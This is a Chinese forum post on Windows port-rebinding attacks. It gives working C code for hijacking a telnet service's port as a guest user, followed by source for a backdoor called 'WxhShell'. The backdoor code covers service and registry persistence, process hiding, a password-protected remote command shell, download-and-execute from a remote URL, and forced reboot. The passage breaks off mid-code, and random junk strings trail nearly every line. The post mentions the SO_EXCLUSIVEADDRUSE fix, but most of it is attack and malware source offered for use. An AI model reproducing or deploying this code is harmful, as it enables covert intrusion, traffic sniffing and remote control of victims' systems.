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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: W%&'EJ)62  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); XL2iK)A  
pU)g93  
  saddr.sin_family = AF_INET; $9In\ x  
??g`c=R!V  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); $=rLs)  
50 VH>b_  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ^cz;UQX~}  
 ET:B"  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 B(l8&  
|v?*}6:a  
  这意味着什么?意味着可以进行如下的攻击: 7$HN5T\!  
}+3IM1VTW{  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 I6B4S"Q5<  
A\S1{JrR  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) MDqUl:]  
=3= $F%  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 tM&;b?bJ[  
=m6yH_`@  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  2ij/!  
[tEHr  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 r|!r!V8j  
L^Q q[>  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 zbM*/:Y  
`E4OgO  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 3Hg}G#]WS  
YLO/J2['  
  #include oPVyLD  
  #include Z-wvdw]$  
  #include JLZ=$d  
  #include    $k= 5nJ  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ;p U=>  
  int main() zEu15!~   
  { |DZ3=eWZ  
  WORD wVersionRequested; w:~Y@ b~D  
  DWORD ret; ""2g{!~r  
  WSADATA wsaData; Ml Bw=Nr  
  BOOL val; hExw}c  
  SOCKADDR_IN saddr; oy?>e1Sy*  
  SOCKADDR_IN scaddr; oF9c>^s  
  int err; LtDQgel"  
  SOCKET s; AT6:&5_`  
  SOCKET sc; ])YGeY(V0+  
  int caddsize; Q|+g= |%^  
  HANDLE mt; QoVRZ$!p  
  DWORD tid;   $4j$c|S!  
  wVersionRequested = MAKEWORD( 2, 2 ); 3-T}8VsiP  
  err = WSAStartup( wVersionRequested, &wsaData ); }CyS_Tc  
  if ( err != 0 ) { rW&# Xw/a  
  printf("error!WSAStartup failed!\n"); :?}U Z#  
  return -1; QlFt:?7f  
  } xO<$xx  
  saddr.sin_family = AF_INET; V;V,G+0Re  
   RC']"jpW  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ;C+g)BW  
az=(6PX  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ~^GY(J'  
  saddr.sin_port = htons(23); @/ m|T]'8  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) s, 8a1o  
  { ERE1XOe=D  
  printf("error!socket failed!\n"); ?<#2raH-  
  return -1; >nnjL rI  
  } 22<T.c  
  val = TRUE; 3Q@HP;<  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 i{$h]D_fD  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) dK=<%)N  
  { ,VM)ZK=Tr  
  printf("error!setsockopt failed!\n"); dK45&JHoW^  
  return -1; %!>~2=Q2*  
  } T|c9Swu r  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; > WsRCBA  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 VTQxg5P c  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ^.d97rSm  
+foyPj!%  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) N~%F/`Z<+  
  { SgOn:xg;3L  
  ret=GetLastError(); V0Z\e _I  
  printf("error!bind failed!\n"); +6xEz67A<  
  return -1; 'kD~tpZ  
  } U1>VKP;5Nn  
  listen(s,2); B`/c Kfg  
  while(1) ?d -$lI  
  { =H F||p@  
  caddsize = sizeof(scaddr); NTHy!y<!h  
  //接受连接请求 gGiLw5o,  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); `+!GoXI  
  if(sc!=INVALID_SOCKET) IkU:D"n7  
  { {ER%r'(4Z  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); r`Qzn" H  
  if(mt==NULL) 0wmz2zKV  
  { Y2DR oQ  
  printf("Thread Creat Failed!\n"); I.<>6ISI@  
  break; B@,L83  
  } ?]fd g;?@  
  } 8%UI<I,  
  CloseHandle(mt); ^XV=(k;~bX  
  } 2EeWcTBU}.  
  closesocket(s); 0@9.h{s@  
  WSACleanup(); #K3A{ jb,  
  return 0; $Q[>v!!X  
  }   7kBULeBn|  
  DWORD WINAPI ClientThread(LPVOID lpParam) V01-n{~G  
  { 2Et7o/\<  
  SOCKET ss = (SOCKET)lpParam; ~ituPrH%<  
  SOCKET sc; Kf XE=v{t  
  unsigned char buf[4096]; (9N75uCa  
  SOCKADDR_IN saddr; 4s<*rKm~  
  long num; ^AWM/aY  
  DWORD val; y[*Bw)F\N  
  DWORD ret; (ia(y(=C  
  //如果是隐藏端口应用的话,可以在此处加一些判断 mCtuR*z_  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ]_S&8F}|  
  saddr.sin_family = AF_INET; I9ga8mG4-'  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); t@Qs&DZ7k  
  saddr.sin_port = htons(23); Tc6H%itV  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)  0u4:=Z}W  
  { E%M~:JuKd?  
  printf("error!socket failed!\n"); m8Q6ESg<*u  
  return -1; */Oq$3QGsV  
  } ^ ~HV`s  
  val = 100; jUq^$+N  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 0kI.d X)  
  { cvpcadN[  
  ret = GetLastError(); 9-DDly [)4  
  return -1; nT0FonK>  
  } (m[]A&u  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) `z$<1Q T  
  { Be{7Rj v  
  ret = GetLastError(); -Cxk#-sb#  
  return -1; qlJP2Ig~  
  } ;T!mNKl  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 3&!X8Lhv  
  { ?d1H]f<M  
  printf("error!socket connect failed!\n"); ?]}1FP  
  closesocket(sc); @x">e][B  
  closesocket(ss); !Y3w]_x[:  
  return -1; B:=*lU.n  
  } SrfDl*  
  while(1) :] Jwcp  
  { *5iNw_&  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ~Rx[~a  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 N3Ub|$}q  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 qG=9zp4y?Y  
  num = recv(ss,buf,4096,0); k9`Bi`wp  
  if(num>0) )/h~csy:~  
  send(sc,buf,num,0); eN@V?G26K  
  else if(num==0) N=&~3k  
  break; 89:Ys=  
  num = recv(sc,buf,4096,0); DG&14c>g  
  if(num>0) a!}.l< )  
  send(ss,buf,num,0); /GNLZm^  
  else if(num==0) pC0l}hnUg  
  break; dV<|ztv  
  } xt@zP)6G  
  closesocket(ss); @2-Eky  
  closesocket(sc); |:n4t6  
  return 0 ; EoqUFa,  
  } ygr[5Tl  
QD%~ A0  
pPm[<^\#S  
========================================================== Esw#D90q  
oop''6`C%  
下边附上一个代码,,WXhSHELL {~ ZSqd  
ce&)djC7U  
========================================================== J')Dt]/9  
#Yi,EwD  
#include "stdafx.h" 7Xm7{`jH  
iy Zs:4jkc  
#include <stdio.h> /|Za[  
#include <string.h> 3}}~(  
#include <windows.h> 2>0[^ .;"  
#include <winsock2.h> ,Khhu%$  
#include <winsvc.h> HJ]\VP9Zb  
#include <urlmon.h> O/$pT%D1x  
fD#|C~:=  
#pragma comment (lib, "Ws2_32.lib") (L_txd4  
#pragma comment (lib, "urlmon.lib") :-7`Lfi@%  
kPF[E5  
#define MAX_USER   100 // 最大客户端连接数 4UmTA_& Io  
#define BUF_SOCK   200 // sock buffer nk9Kq\2f:  
#define KEY_BUFF   255 // 输入 buffer s2L|J[Y"s  
#~%tdmGuL  
#define REBOOT     0   // 重启 tpj({   
#define SHUTDOWN   1   // 关机 [TvH7ott'1  
w35r\x +  
#define DEF_PORT   5000 // 监听端口 \](IBI:  
!tBNA  
#define REG_LEN     16   // 注册表键长度 ww82)m8  
#define SVC_LEN     80   // NT服务名长度 )vO;=% GQ  
'$*d:1  
// 从dll定义API Lc(D2=%  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); fRC(Yyx  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); f~-81ctu  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 5*~Mv<#  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); I <`9ANe  
V`?2g_4N  
// wxhshell配置信息 1XQJ#J1/  
struct WSCFG { %Uybp  
  int ws_port;         // 监听端口 )[Bwr bn  
  char ws_passstr[REG_LEN]; // 口令 N#'+p5|>  
  int ws_autoins;       // 安装标记, 1=yes 0=no |xy r6gY  
  char ws_regname[REG_LEN]; // 注册表键名 e|u|b  
  char ws_svcname[REG_LEN]; // 服务名 cMOvM0f  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ~(kIr? ^  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 FLdO  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Yi1* o?  
int ws_downexe;       // 下载执行标记, 1=yes 0=no  uZ][#[u  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" GCCmUR9d  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 pisjfNT`o  
MJ'|$b}  
}; e_s9E{(  
A,D67G<v`  
// default Wxhshell configuration 'bp*hqG[  
struct WSCFG wscfg={DEF_PORT, 4} uX[~e&  
    "xuhuanlingzhe", R>H*MvN  
    1, WLGx= ;  
    "Wxhshell", /'?Fz*b  
    "Wxhshell", c\~H_ ~F  
            "WxhShell Service", LcCb[r  
    "Wrsky Windows CmdShell Service", X||Z>w}v  
    "Please Input Your Password: ", Q#P=t83  
  1, JmdXh/X  
  "http://www.wrsky.com/wxhshell.exe", 0HK03&  
  "Wxhshell.exe" %J4]T35^2  
    }; yyZH1A  
[C d"@!yA  
// 消息定义模块 %||}WT-wv  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; FSv')`}  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Ao)hb4ex  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; RbX!^v<0f6  
char *msg_ws_ext="\n\rExit."; iK{q_f\"  
char *msg_ws_end="\n\rQuit."; Ry*NRP;  
char *msg_ws_boot="\n\rReboot..."; CBdS gHA3>  
char *msg_ws_poff="\n\rShutdown..."; ^c{}G<U^  
char *msg_ws_down="\n\rSave to "; =1t#$JG  
eIc~J!?<&V  
char *msg_ws_err="\n\rErr!"; AH`D&V  
char *msg_ws_ok="\n\rOK!"; r4caIV  
|`T3H5X>  
char ExeFile[MAX_PATH]; bep}|8,#u  
int nUser = 0; WL-+;h@VQ  
HANDLE handles[MAX_USER]; *0M#{HQ  
int OsIsNt; 8[5%l7's  
*9e T#dH  
SERVICE_STATUS       serviceStatus; AfW63;kH  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 8=ubMqr[  
P;0tI;  
// 函数声明 1;r^QAK&  
int Install(void); )%%RI_J T  
int Uninstall(void); J411bIxD+q  
int DownloadFile(char *sURL, SOCKET wsh); b1{~j]"$L  
int Boot(int flag); +(3"XYh  
void HideProc(void); Ga~N7  
int GetOsVer(void); _i~n!v  
int Wxhshell(SOCKET wsl); ]YkF^Pf!v  
void TalkWithClient(void *cs); ;>[).fX>/  
int CmdShell(SOCKET sock); g6 EdCG.V  
int StartFromService(void); jzV*V<  
int StartWxhshell(LPSTR lpCmdLine); 8,2l >S  
"T5?<c  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); e3YZ-w^W~h  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); VHVU*6_w  
<K:?<F  
// 数据结构和表定义 XP5q4BM  
SERVICE_TABLE_ENTRY DispatchTable[] = =:`1!W0I  
{ T_Q/KhLU  
{wscfg.ws_svcname, NTServiceMain}, DrbjqQL+.  
{NULL, NULL} =N01!?{  
}; D.)$\Caq  
b,5H|$nLu  
// 自我安装 I^/Ugu  
int Install(void) Gdnk1_D>  
{ nk9hQRP? 8  
  char svExeFile[MAX_PATH]; *{tn/ro6a  
  HKEY key; a{Y:hrd:Z  
  strcpy(svExeFile,ExeFile); DCX 4!,ZF  
h *)spwF-  
// 如果是win9x系统,修改注册表设为自启动 ? Ldw\  
if(!OsIsNt) { &5/`6-K  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { g#`(& k  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); qRsPi0;  
  RegCloseKey(key); 3?Y%|ZVM  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { (xK=/()}q  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); rgILOtk[  
  RegCloseKey(key); * b>W  
  return 0; |Z6rP-  
    } T :CsYj1  
  } oju/%ieh  
} VY<v?Of i-  
else { : QSlctW  
AQ. Y-'\t  
// 如果是NT以上系统,安装为系统服务 `d6 {Tli  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ~$#DB@b  
if (schSCManager!=0) <Sm -Z,|  
{ s2g}IZfo  
  SC_HANDLE schService = CreateService ]tH/87qJ  
  ( y% uUA]c*m  
  schSCManager, @Qd6a:-6  
  wscfg.ws_svcname, X;sl?8HG!<  
  wscfg.ws_svcdisp, `Q1T-H_  
  SERVICE_ALL_ACCESS, #!h:w  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , oe`o UnN  
  SERVICE_AUTO_START, T2Cdw\  
  SERVICE_ERROR_NORMAL, +OK.[ji?  
  svExeFile, fMwJwMT8  
  NULL, 8kAG EiC  
  NULL, h3a HCr E  
  NULL, /fA:Fnv  
  NULL, 8gJ"7,}-'  
  NULL T*\'G6e  
  ); TWl':}  
  if (schService!=0) jnt0,y A  
  { X1:|   
  CloseServiceHandle(schService); UBpYR> <\  
  CloseServiceHandle(schSCManager); bjPI:j*XU  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); - ,q&Zm  
  strcat(svExeFile,wscfg.ws_svcname); s \#kqw\x  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Z i$a6  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); *Au4q<   
  RegCloseKey(key); ;M8N%  
  return 0; ]jG%<j9A  
    } W5$jIQ}Bw  
  } Z4}Yw{=f  
  CloseServiceHandle(schSCManager); :g'"*VXYB  
} p}uL%:Vr  
} ~zRUJ2hD!  
+ }(  
return 1; z|}Anc[\  
} eL^,-3JA(]  
EU ThH.  
// 自我卸载 =w".B[r  
int Uninstall(void) ~Ht[kO  
{ &xr?yd  
  HKEY key; )Be}Ev#)Zx  
6h}f^eJ:K,  
if(!OsIsNt) { : i3-7k  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { QYVT"$=  
  RegDeleteValue(key,wscfg.ws_regname); T'\ lntN  
  RegCloseKey(key); {4CkF \  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { vb9G_Pfz  
  RegDeleteValue(key,wscfg.ws_regname); "pdG%$  
  RegCloseKey(key); ; z:}OD  
  return 0; :Ff1Js(Z  
  } -#3B>VY  
} 9g"a`a?c  
} \PU|<Ru.  
else { V5K`TC^  
?OYu BZF  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 4&K~EX"^T  
if (schSCManager!=0) /4w&! $M-  
{ SWO$# X /  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); $Xk1'AzB8  
  if (schService!=0) Cf<i"   
  { n1DD+@  
  if(DeleteService(schService)!=0) { RNcHU  
  CloseServiceHandle(schService); 0Vh|UJ'&7  
  CloseServiceHandle(schSCManager); .cQwj L  
  return 0; kxWf1hIz0  
  } %l,p />r  
  CloseServiceHandle(schService); O9=vz%  
  } #p*{p)]HiA  
  CloseServiceHandle(schSCManager); p[hA?dXn  
} n8A*Y3~R  
} +_06{7@h  
?*tpW75hR[  
return 1; n:`> QY  
} CO0Nq/@  
:v Pzw!  
// 从指定url下载文件 F_zs"ex/  
int DownloadFile(char *sURL, SOCKET wsh) TaG'?  
{ 3@KX|-  
  HRESULT hr; @4T+0&OI10  
char seps[]= "/"; vxZvK0b620  
char *token; 'RTz*CSZ  
char *file; A 99 .b  
char myURL[MAX_PATH]; e {N8|l  
char myFILE[MAX_PATH]; ,;O+2TX  
4punJg~1  
strcpy(myURL,sURL); syv6" 2Z'B  
  token=strtok(myURL,seps); 4ZQX YwfC|  
  while(token!=NULL) wB?;3lTS  
  { op"RrZAZBT  
    file=token; Kv{i_%j   
  token=strtok(NULL,seps); G7M:LcX  
  } #8%Lc3n  
5bH@R@3m  
GetCurrentDirectory(MAX_PATH,myFILE); kJlRdt2  
strcat(myFILE, "\\"); C*/d%eHD  
strcat(myFILE, file); +[V?3Gdb  
  send(wsh,myFILE,strlen(myFILE),0); fN?HF'7V  
send(wsh,"...",3,0); w~;1R\?|  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); z./u;/:  
  if(hr==S_OK) ds4ERe /  
return 0; 'X<R)E  
else Hp8)-eT  
return 1; SE;Jl[PgcL  
Z[FSy-;"  
} kZ[E493bV  
v5;c} n  
// 系统电源模块 )<UNiC   
int Boot(int flag) c9=;:E  
{ ]p `#KVW  
  HANDLE hToken; A>bo Xcr  
  TOKEN_PRIVILEGES tkp; UCa(3p^V_  
3!Gnc0%c  
  if(OsIsNt) { n* 9)Y~  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Z '/:  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 0%cbno@1V  
    tkp.PrivilegeCount = 1; -nV]%vJ$R}  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; :&/'rMi<T  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 3*/y<Z'H  
if(flag==REBOOT) { (m|p|rL  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) "/(J*)%{  
  return 0; |/Ggsfmby  
} (VI4kRj  
else { *A@~!@XE4  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) /Pxt f~$  
  return 0; *=$Jv1"Q +  
} bsmZR(EnU  
  } Cz+`C9#  
  else { X) owj7U;  
if(flag==REBOOT) { ) 'j7Ra  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) pyq~_ Bng  
  return 0; 2h@/Q)z  
} BB.^-0up  
else { cE$<6&0  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ^{DXin 1O`  
  return 0; .Lr;{B  
} &j<B22t!  
} ,j:`yB]4,  
0/6f9A  
return 1; yrSmI)&%  
} Q=)$  
fk<0~ tE  
// win9x进程隐藏模块 9G[!"eZ}  
void HideProc(void) U6t>UE6k  
{ rUc2'Ct  
(OLjE]9;  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); J2f}{!b+I  
  if ( hKernel != NULL ) 9f\Lon4lX  
  { _U?   
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); |e!%6Qq3  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); @!=q.4b  
    FreeLibrary(hKernel); Rp^k D ,*  
  } h#dp_#  
*?zmo@-  
return; _K<H*R  
} j2#RO>`,I  
Q( U+o-  
// 获取操作系统版本 }xk85*V  
int GetOsVer(void) |C301ENZ  
{ 8d?r )/~  
  OSVERSIONINFO winfo; jdiH9]&U  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); _D1Uc|  
  GetVersionEx(&winfo); 7?9QlUO  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) >gRb.-{ux  
  return 1; zR_ "  
  else s!:'3[7+  
  return 0; $Ypt /`  
} A(V,qw8  
M+j V`J!  
// 客户端句柄模块 V^;2u  
int Wxhshell(SOCKET wsl) 2Nrb}LH  
{ /H/@7>  
  SOCKET wsh; 4W5[1GE.  
  struct sockaddr_in client; ~2PD%+e7]  
  DWORD myID; s;Q0  
`|)V]<  
  while(nUser<MAX_USER) RZoSP(6  
{ aZn]8jC%  
  int nSize=sizeof(client); K~$A2b95  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); hfE5[  
  if(wsh==INVALID_SOCKET) return 1; -+?ZJ^A   
OyH>N/  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); io%WV%1_  
if(handles[nUser]==0) i/E"E7  
  closesocket(wsh); R&KFF'%  
else &OQ37(<_  
  nUser++; L{1MyR7`I+  
  } td JA?  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); `k2YH?  
f8E,.$>  
  return 0; iY?J3nxD-:  
} f@yInIzRJ  
QiC}hj$  
// 关闭 socket >!sxX = <  
void CloseIt(SOCKET wsh) h*d1G9%Q1  
{ K G<. s<  
closesocket(wsh); +i^@QNOa  
nUser--; cZC%W!pT  
ExitThread(0); 5QN~^  
} 3w!8PPl  
'tvX.aX2  
// 客户端请求句柄 cQ}3? v  
void TalkWithClient(void *cs) o-i9 :AHs  
{ [wOz<<  
4FQB%3>*  
  SOCKET wsh=(SOCKET)cs; %4'<0  
  char pwd[SVC_LEN]; yUnNf 2i  
  char cmd[KEY_BUFF]; _Ns/#Xe/  
char chr[1]; =sZ58xA  
int i,j; C- 5QhD  
!=Scpo_  
  while (nUser < MAX_USER) { M`  V<`  
Z<D8{&AjS  
if(wscfg.ws_passstr) { Xna58KF/  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9Xl[AVs:M  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); sE^ee2]OI@  
  //ZeroMemory(pwd,KEY_BUFF); $,u>,  
      i=0; XM1; >#kz  
  while(i<SVC_LEN) { Fz11/sKz  
mHe[ NkY6  
  // 设置超时 .n[;H;  
  fd_set FdRead; {ooztC   
  struct timeval TimeOut; (vP<}  
  FD_ZERO(&FdRead); 6 &Lr/J76  
  FD_SET(wsh,&FdRead); Ef @  
  TimeOut.tv_sec=8; r)S:-wP  
  TimeOut.tv_usec=0; 0:I[;Q t  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); sGFvSW  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); (^pIB~.z  
?7=c `  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4SVIdSA  
  pwd=chr[0]; &cGa~#-u  
  if(chr[0]==0xd || chr[0]==0xa) { =j~BAS*"  
  pwd=0; rjK]zD9  
  break; unKPqc%q=n  
  } 2OVN9_D%  
  i++; Ie4\d2tQ;  
    } :%_\!FvS  
+Jm~Um!  
  // 如果是非法用户,关闭 socket PctXh, =  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); R1$s1@3I|  
} tm&,u*6$W?  
J6 J">  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ?wP/l  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `G0k)eW  
Um^4[rl:#g  
while(1) { 9;7Gzr6A"  
O!!N@Q2g  
  ZeroMemory(cmd,KEY_BUFF); t!-\:8n  
{o SdVRI  
      // 自动支持客户端 telnet标准   p$=Z0p4%LL  
  j=0; KFg q3snH  
  while(j<KEY_BUFF) { $J8g)cS  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8Kw, 1O:  
  cmd[j]=chr[0]; !\VzX  
  if(chr[0]==0xa || chr[0]==0xd) { WEYZ(a|  
  cmd[j]=0; |\2>n!  
  break; vBzUuX  
  } B"YN+So  
  j++; gky+.EP.  
    } _h+7 KK  
0qINa:Ori  
  // 下载文件 en>n\;U  
  if(strstr(cmd,"http://")) { +E^2]F7Zk  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 7Kf  
  if(DownloadFile(cmd,wsh)) yh2)Pc[  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); -Uan.#~S  
  else ebn3r:IU-  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Xdi<V_!BC-  
  } <2d)4@B=  
  else { 0W0GSDx  
%~I&T". iC  
    switch(cmd[0]) { mqHcD8X  
  o}DR p4;Ka  
  // 帮助 4> uNH5  
  case '?': { AR!v%Z49i  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); E[WU  
    break; p>,D F9W`  
  } -oUGmV_  
  // 安装 {yv_Ni*6!  
  case 'i': { el U%Z9  
    if(Install()) ?N<,;~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); vh.-9eD  
    else fF(AvMsO  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [O<F`u"a  
    break; sj4\lpZ3h  
    } ZJF"Yo  
  // 卸载 O&MH5^I  
  case 'r': { }W@refS  
    if(Uninstall()) J6[}o4Z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); e`co:HO`#  
    else vp2w^/])u  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Y(t /=3c[  
    break; CuK>1_Dq  
    } qH0JZdk  
  // 显示 wxhshell 所在路径 `-%dHvB^R  
  case 'p': { \?oT.z5VG&  
    char svExeFile[MAX_PATH]; k>F!S`a&m  
    strcpy(svExeFile,"\n\r"); CcW3o"=4  
      strcat(svExeFile,ExeFile); *= O]^|]2  
        send(wsh,svExeFile,strlen(svExeFile),0); L*dGo,oN  
    break; uB^"A ;0v  
    } XlD=<$Nk7  
  // 重启  5k@T{  
  case 'b': { )5n0P Zi  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); P5h*RV>oS  
    if(Boot(REBOOT)) x${C[gxq9F  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H>D sAHS  
    else { ;zze.kb&F  
    closesocket(wsh); ]KEE+o  
    ExitThread(0); )b (+=  
    } WMnSkO  
    break; @{#'y4\>  
    } P=1K u|k  
  // 关机 WY QVe_<z:  
